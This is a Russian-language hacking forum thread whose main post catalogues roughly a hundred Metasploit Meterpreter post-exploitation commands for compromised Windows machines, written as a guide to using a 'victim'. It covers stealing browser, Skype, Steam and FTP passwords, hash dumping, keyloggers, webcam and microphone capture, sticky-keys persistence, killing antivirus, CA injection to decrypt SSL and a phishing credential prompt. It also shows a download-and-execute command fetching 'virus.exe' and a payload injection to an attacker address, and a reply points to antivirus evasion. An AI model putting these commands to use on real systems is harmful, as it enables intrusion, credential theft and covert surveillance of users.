Meterpreter(Metasploit) - Windows модули

Тема в разделе "Этичный хакинг и тестирование на проникновение", создана пользователем SooLFaa, 5 мар 2017.

  1. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    375
    Симпатии:
    613
    Здравия желаю, дамы господа. О чём поговорим сегодня? МЕТЕРПРЕТЕР
    Для тех кто не вкурсе это очень большой шеллкод с кучей возможностей и сегодня мы рассмотрим, что умеет метерпретер для Windows машин.
    Так же отсылаю Вас в свою тему про метасплоит где Вы познакомитесь с некоторыми общими понятиями.
    Ну что?!Поехали?!
    Итак, мы получили сессию и что дальше нам надо сделать с помощью могучего метерпретера?!
    Для начала перечислим списком модули, которые будем рассматривать. Для удобного поиска тем, кто будет обращаться к этому топику.
    • run post/windows/gather/enum_devices - получить список установленных устройств;
    • run post/multi/gather/check_malware проверить файл на VIRUS TOTAL'е
    • run post/windows/gather/enum_dirperms найти привилегированные пути в Windows
    • run post/windows/gather/enum_domain – перечислить все доступные домены в Active Directory
    • run post/multi/gather/dns_bruteforce – хотим побрутить домен используя чужие ресурсы? Ноу проблемо эта опция для вас.
    • run post/multi/gather/dns_reverse_lookup - Вы станете днс сервером для Вашего клиента. Соотсветственно можно манипулировать службами DNS.
    • run post/windows/gather/enum_domain_tokens - Воруем токены авторизованных пользователей в Windows
    • run post/multi/gather/enum_vbox - чекаем на наличие Virtual Box машины
    • run post/windows/gather/enum_domains – получить список доменов
    • run post/multi/gather/env – получить переменные окружения полезно так же при эскалациях.
    • run post/multi/gather/filezilla_client_cred – Из моих любимых выдернуть пароли из файлзиллы
    • run post/windows/gather/enum_files – собирает различные конфиги и дат файлы полезная опция при ресерче жертвы
    • run post/multi/gather/find_vmx – получить список всех виртуальных машин
    • run post/windows/gather/enum_hostfile читаем hosts файл
    • run post/multi/gather/firefox_creds крадем пароли из firefox
    • run post/windows/gather/enum_ie – так же для ie
    • run post/windows/gather/enum_ms_product_keys – Воруем ключики лицензий
    • run post/multi/gather/ping_sweep – пингуем хосты
    • run post/windows/gather/enum_powershell_env – получить переменные окружения powershell
    • run post/multi/gather/run_console_rc_file – запустить в консоли rc файл
    • run post/windows/gather/enum_proxy – чекаем на прокси сервер (актуально чаще для организаций)
    • run post/multi/gather/skype_enum – Получить СКАЙП ПАРОЛИ
    • run post/windows/gather/enum_putty_saved_sessions – получаем сессии в PUTTY (SSH)
    • run post/multi/gather/thunderbird_creds – получить пароли с почтового клиента
    • run post/windows/gather/enum_services – получить список сервисов запущенных на машине. Удобно отследить сервисы.
    • run post/multi/gather/wlan_geolocate – узнать локацию интерфейса wlan
    • run post/windows/gather/enum_shares – получить список общих дисков
    • run post/multi/general/close – закрыть сессию метерпретер
    • run post/windows/gather/enum_snmp – чекаем на snmp
    • run post/multi/general/execute(аналог execute) – выполнить cmd команду в консоли жертвы
    • run post/windows/gather/enum_termserv – получить список серверов к которым коннектилась жертва
    • run post/windows/gather/enum_tokens – перечислить токено - залогиненных пользователей в системе
    • run post/windows/gather/enum_trusted_locations – получить интересные пути к файлам
    • run post/multi/manage/play_youtube – запустить видео в ютуб
    • run post/multi/manage/record_mic – запись звука с микрофона. Параметр задает время записи
    • run post/multi/manage/set_wallpaper – установить СВОИ обои
    • run post/windows/gather/forensics/duqu_check – проверить на уязвимость в Word при замене параметра Trueype
    • run post/multi/recon/local_exploit_suggester – прочекать систему на некоторые сплоиты
    • run post/windows/gather/forensics/enum_drives - перечисление драйверов работает криво
    • run post/windows/capture/keylog_recorder – классный кейлоггер
    • run post/windows/capture/lockout_keylogger ещё кейлоггер по мощнее
    • run post/windows/escalate/droplnk - создает вредный ярлычок, который если жертва запустит получим админа работает до win7
    • run post/windows/gather/hashdump – получить хэши паролей
    • run post/windows/escalate/getsystem – стандартная повышалка привелегий, работает очень редко
    • run post/windows/escalate/golden_ticket - отличный способ эскалации в доменах
    • run post/windows/escalate/ms10_073_kbdlayout – ещё один способ эскалации эксплоит до win7
    • run post/windows/escalate/screen_unlock - залочить текущий момнитор
    • run post/windows/gather/memory_grep – поиск утечет памяти в процессе
    • run post/windows/gather/ad_to_sqlite – Вся информация об Active directory в базу
    • run post/windows/gather/bitcoin_jacker – очень повезёт если схватите тачку на которой майнят биткоины
    • run post/windows/gather/phish_windows_credentials – фишинговая форма входа на powershell после ввода пасса отдаёт обратно хакеру.
    • run post/windows/gather/checkvm - проверить не на виртуалке ли мы.
    • run post/windows/gather/screen_spy – типа скриншотера, делает 1 скрин в секунду и создается иллюзия наблюдения за столом
    • run post/windows/gather/smart_hashdump если не работает хэшдамп можно попробовать
    • run post/windows/gather/credentials/bulletproof_ftp – парольчики с этого клиента
    • run post/windows/gather/tcpnetstat – получаем аналог команды netstat
    • run post/windows/gather/usb_history – Информация о флешках побывавших в компьютере и устройствах
    • run post/windows/gather/win_privs – Права текущего пользователя
    • run post/windows/gather/credentials/domain_hashdump - получить хэшик группы в адешке
    • run post/windows/gather/credentials/enum_cred_store – пытаемся брутфорснуть креды пользователей
    • run post/windows/gather/credentials/enum_cred_store – пытаемся брутфорснуть креды пользователей
    • run post/windows/manage/add_user_domain –Добавляем пользователя в домен
    • run post/windows/manage/autoroute – хотим начать хекать хосты на нашей атакованной машине, так проложить маршруты надо сначала
    • run post/windows/gather/credentials/enum_picasa_pwds воруем пароли от пикасы, надо мигрировать в explorer
    • run post/windows/gather/credentials/filezilla_server – чекаем на наличие файлзиллы
    • run post/windows/manage/delete_user – удалить пользователя
    • run post/windows/manage/download_exec – скачать и запустить
    • run post/windows/manage/enable_rdp включаем РДПшечку
    • run post/windows/gather/credentials/gpp - получаем групповые политики в домене
    • run post/windows/manage/enable_support_account – открыть саппорт аккаунт
    • run post/windows/gather/credentials/heidisql – получить паролики от Heidi
    • run post/windows/manage/exec_powershell моя любимая фитчка, выполнить ps команду
    • run post/windows/manage/forward_pageant – пропускаем ssh через себя
    • run post/windows/manage/inject_ca – очень классная фитча позволяет внедрить свой са сертификат и имея у себя приватный и публичный ключ расшифровывать SSL трафик.
    • run post/windows/manage/inject_host - внедрить host в файл hosts
    • run post/windows/manage/killav попытка задушить популярные процессы
    • run post/windows/manage/migrate – мигрировать в процесс, скрывает процесс шелкода, а так же позволяет повысить привилегии и закрепиться. Многие фитчи не работают из другого процесса.
    • run post/windows/manage/multi_meterpreter_inject – очень полезная фитча, когда нужно внедрить другой payload например выше разрядностью
    • run post/windows/gather/credentials/outlook – получить список конфигов в outlook
    • run post/windows/manage/payload_inject - аналогично multi_meterpreter_inject но как видно из названий ОС зависимый.
    • run post/windows/gather/credentials/skype - украсть пароли в скайп
    • run post/windows/manage/powershell/build_net_code – Скомпилировать .Net файл с помощью компилятора powershell, очень удобно чтобы пробросить свой код на C#.
    • run post/windows/manage/powershell/exec_powershell – хотим выполнить ps команду не проблема. По умолчанию валит ошибку но команду все равно выполняет
    • run post/windows/manage/priv_migrate – ЭСКАЛАЦИЯ пытается мигрировать в привилегированный процесс, что после миграции дает права пользователя с бОльшими
      привилегиями.
    • run post/windows/gather/credentials/steamВОРУЕЕЕМ ПАРОЛИИ СТИИИИМММ
    • run post/windows/gather/credentials/tortoisesvn – пытаемся вытянуть конфиги к репам из известного клиента SVN Turtoise
    • run post/windows/manage/reflective_dll_inject – DLL Инъекция в процесс. Путь к DLL и процессу куда инжектим DLLку, об этом я писал статью здесь
    • run post/windows/manage/remove_ca – удалить са поможет для того чтобы сломать ssl и выпустить новый
    • run post/windows/gather/credentials/vnc – получить креды от vnc
    • run post/windows/manage/rpcapd_start - пишем траффик с удаленной тачки
    • run post/windows/gather/credentials/windows_autologin – получить креды автологина очень часто используется.
    • run post/windows/manage/sticky_keys – ОТЛИЧНЫЙ ПЕРСИСТЕНС срабатывает когда нажат SHIFT 5 раз или горячие клавиши с WINDOWS
    • run post/windows/manage/wdigest_caching – фитча, с помощью которой, мы можем получить пароли пользователя плейнтекстом с помощью mimikatz
    • run post/windows/manage/webcam Сфоткаемся? ;)
      > webcam_snap -i 1 -v false Я обычно юзаю так
    • run post/windows/gather/enum_applications – получить список установленных тулз
    • run post/windows/gather/enum_av_excluded – получения программы в исключениях антивируса удобно для миграции и ав бйпасса.
    • run post/windows/gather/enum_chrome а вот об этом я подробно писал тут
    • run post/windows/gather/enum_db – Установленные базы данных
    Теперь Скриншотики
    run post/windows/gather/enum_devices
    Meterpreter(Metasploit) - Windows модули
    Результат:
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/check_malware REMOTEFILE=c:\\windows\\system32\\cmd.exe
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_dirperms
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/dns_bruteforce DOMAIN=www.ya.ru
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/enum_vbox
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_domains
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/env
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/filezilla_client_cred
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_files
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/find_vmx
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_hostfile
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/firefox_creds
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_ie
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_powershell_env
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/run_console_rc_file
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_proxy
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_putty_saved_sessions
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_services
    Meterpreter(Metasploit) - Windows модули

    run post/multi/gather/wlan_geolocate
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_shares
    Meterpreter(Metasploit) - Windows модули

    run post/multi/general/execute
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_termserv
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_trusted_locations
    Meterpreter(Metasploit) - Windows модули

    run post/multi/manage/play_youtube
    Meterpreter(Metasploit) - Windows модули

    run post/multi/manage/record_mic
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/forensics/browser_history
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/forensics/duqu_check
    Meterpreter(Metasploit) - Windows модули

    run post/multi/recon/local_exploit_suggester
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/forensics/enum_drives
    Meterpreter(Metasploit) - Windows модули




     
    #1 SooLFaa, 5 мар 2017
    Последнее редактирование: 6 мар 2017
    woolf1514, citizen2517, Inject0r и 8 другим нравится это.
  2. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    375
    Симпатии:
    613
    run post/windows/capture/keylog_recorder
    Meterpreter(Metasploit) - Windows модули
    Результат
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/forensics/recovery_files
    Meterpreter(Metasploit) - Windows модули

    run post/windows/escalate/droplnk
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/hashdump
    Meterpreter(Metasploit) - Windows модули

    run post/windows/escalate/getsystem
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/phish_windows_credentials
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/checkvm
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/screen_spy
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/tcpnetstat
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/coreftp
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/usb_history
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/win_privs
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/domain_hashdump
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/enum_cred_store
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/add_user_domain
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/autoroute
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/enum_picasa_pwds
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/filezilla_server
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/download_exec URL=http://rgho.st/download/8qqcN4rMP/87e68e1dc10678615f964cacf5d63ea23c8d1d84/virus.exe EXECUTE=true
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/gpp
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/exec_powershell
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/forward_pageant
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/inject_host DOMAIN=www.ya.ru IP=87.240.165.82
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/killav
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/migrate
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/multi_meterpreter_inject
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/outlook
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/payload_inject LHOST=192.168.1.237 LPORT=1341
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/skype
    Meterpreter(Metasploit) - Windows модули






     
    mrBunny, citizen2517, Dat Sec и 2 другим нравится это.
  3. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    375
    Симпатии:
    613
    run post/windows/manage/powershell/exec_powershell
    Meterpreter(Metasploit) - Windows модули
    Результат:
    Meterpreter(Metasploit) - Windows модули \

    run post/windows/manage/priv_migrate
    Meterpreter(Metasploit) - Windows модули
    Результат:
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/credentials/tortoisesvn
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/sticky_keys
    Meterpreter(Metasploit) - Windows модули

    run post/windows/manage/wdigest_caching
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_applications
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_av_excluded
    Meterpreter(Metasploit) - Windows модули

    run post/windows/gather/enum_db
    Meterpreter(Metasploit) - Windows модули

    Post interrupted by the console user – увидели такую ошибку используйте вместо опции
    run use или попробуйте мигрировать в процесс
     
    Dag, CHEATER, Black Diver и 11 другим нравится это.
  4. valerian38

    valerian38 Well-Known Member

    Репутация:
    0
    Регистрация:
    20 июл 2016
    Сообщения:
    239
    Симпатии:
    118
    Спасибо за труды! Отличная статья!
     
    citizen2517 и SooLFaa нравится это.
  5. Inject0r

    Inject0r Well-Known Member

    Репутация:
    1
    Регистрация:
    3 сен 2016
    Сообщения:
    105
    Симпатии:
    147
    Фундаментальная статья, спасибо!
     
    citizen2517 и SooLFaa нравится это.
  6. kvptst

    kvptst Member

    Репутация:
    0
    Регистрация:
    26 янв 2017
    Сообщения:
    13
    Симпатии:
    9
    SoolFaa, просто шикарно.
    Информационная ёмкость Ваших постов всегда радует)))
    Спасибо!
     
    citizen2517 и SooLFaa нравится это.
  7. qvasar

    qvasar New Member

    Репутация:
    0
    Регистрация:
    6 фев 2017
    Сообщения:
    3
    Симпатии:
    2
    Спасибо, очень полезная информация
     
    citizen2517 и SooLFaa нравится это.
  8. woolf1514

    woolf1514 Active Member

    Репутация:
    0
    Регистрация:
    6 мар 2017
    Сообщения:
    34
    Симпатии:
    13
    Благодарю! Тут целый справочник!
     
    citizen2517 и SooLFaa нравится это.
  9. Pushkinmazila

    Pushkinmazila Active Member

    Репутация:
    0
    Регистрация:
    20 ноя 2016
    Сообщения:
    32
    Симпатии:
    15
    Я думаю что нам следует как то собрать все статьи про мертерсплоит не просто в одну тему а как то еще
    Наверное следует их обьединить и сделать что то на подобии книги или журнала но в формате веб страницы
    Как те страницы с переводом
     
    Leon и citizen2517 нравится это.
  10. WebWare Team

    WebWare Team Администратор
    Команда форума

    Репутация:
    1
    Регистрация:
    30 дек 2015
    Сообщения:
    687
    Симпатии:
    613
    Объединять ничего не будем. Лучшее решение - создать отдельную тему-оглавление. Возьметесь ? :)
     
    citizen2517 и Dat Sec нравится это.
  11. Петручо

    Петручо Well-Known Member

    Репутация:
    0
    Регистрация:
    27 ноя 2016
    Сообщения:
    61
    Симпатии:
    6
    вот это шикарное описание ряда модулей .
    в связи с этим у меня пара вопросов , первый вообще детский на счет метерпретера . как я понял он широко применяется , а значит уже должен быть на заметке у аверов , поэтому насколько часто аверы его палят , можно ли его криптовать и как он будет вести себя после крипта .
    и второй вопрос чисто автору статьи - Вы не планируете сделать описание модулей для Империи ?
     
    citizen2517 и SooLFaa нравится это.
  12. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    375
    Симпатии:
    613
    Empire - Возможно в будущем, сейчас в планах mimikatz
    По поводу крипты, метерпретер - это шелкод, его доставка уже на твоей совести. Один из вариантов крипты можно почитать в моей статье AV Bypass с помощью C#
     
    citizen2517 нравится это.
  13. remez

    remez Member

    Репутация:
    0
    Регистрация:
    3 ноя 2016
    Сообщения:
    7
    Симпатии:
    4
    SoolFaa зачётно. Отличная,ёмкая статья
     
    citizen2517 и SooLFaa нравится это.
  14. Vertigo

    Vertigo Well-Known Member
    Grey Team

    Репутация:
    0
    Регистрация:
    15 фев 2017
    Сообщения:
    235
    Симпатии:
    352
    Брат (чуть по имени не обратился) ,ты как всегда крут , с лёгкой руки , с глубоких познаний ,своеобразную энциклопедию запостил.Буду этим мануалом , как настольной книгой пользоваться с удовольствием.
     
    citizen2517 и SooLFaa нравится это.
  15. koldonuuchu

    koldonuuchu Active Member
    Grey Team

    Репутация:
    0
    Регистрация:
    4 ноя 2016
    Сообщения:
    38
    Симпатии:
    43
    Браво! Снимаю шляпу)
     
    citizen2517 и SooLFaa нравится это.
  16. Sniff

    Sniff Well-Known Member
    Премиум

    Репутация:
    0
    Регистрация:
    15 дек 2016
    Сообщения:
    98
    Симпатии:
    115
    Суперский мануал! То что нужно!
     
    citizen2517 нравится это.
  17. Unrulyguy

    Unrulyguy New Member

    Репутация:
    0
    Регистрация:
    10 мар 2017
    Сообщения:
    4
    Симпатии:
    2
    Спасибо за пост. Вопрос: есть статья как получить эту самую сессию через метасплойт?
     
    citizen2517 нравится это.
  18. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    375
    Симпатии:
    613
    Успешная эксплуатация любого сплоита.
     
    citizen2517 нравится это.
  19. Unrulyguy

    Unrulyguy New Member

    Репутация:
    0
    Регистрация:
    10 мар 2017
    Сообщения:
    4
    Симпатии:
    2
    любой сплойт мне даст доступ на таргет и там я уже смогу поднять права. Так?
     
    citizen2517 нравится это.
  20. SooLFaa

    SooLFaa Инквизитор
    Команда форума Grey Team

    Репутация:
    2
    Регистрация:
    15 июл 2016
    Сообщения:
    375
    Симпатии:
    613
    Тут ключевая фраза "Успешная экспулатация", то есть сплоитов сотни тысяч. Тебе надо использовать под свою конкретную цель. А чтобы поднять права есть свои сплоиты, они находятся в разделе escalation. Но как правило эскалация привелегий не всегда выполнимо с помощью команды "use exploit"
     
    citizen2517 нравится это.
Загрузка...

Поделиться этой страницей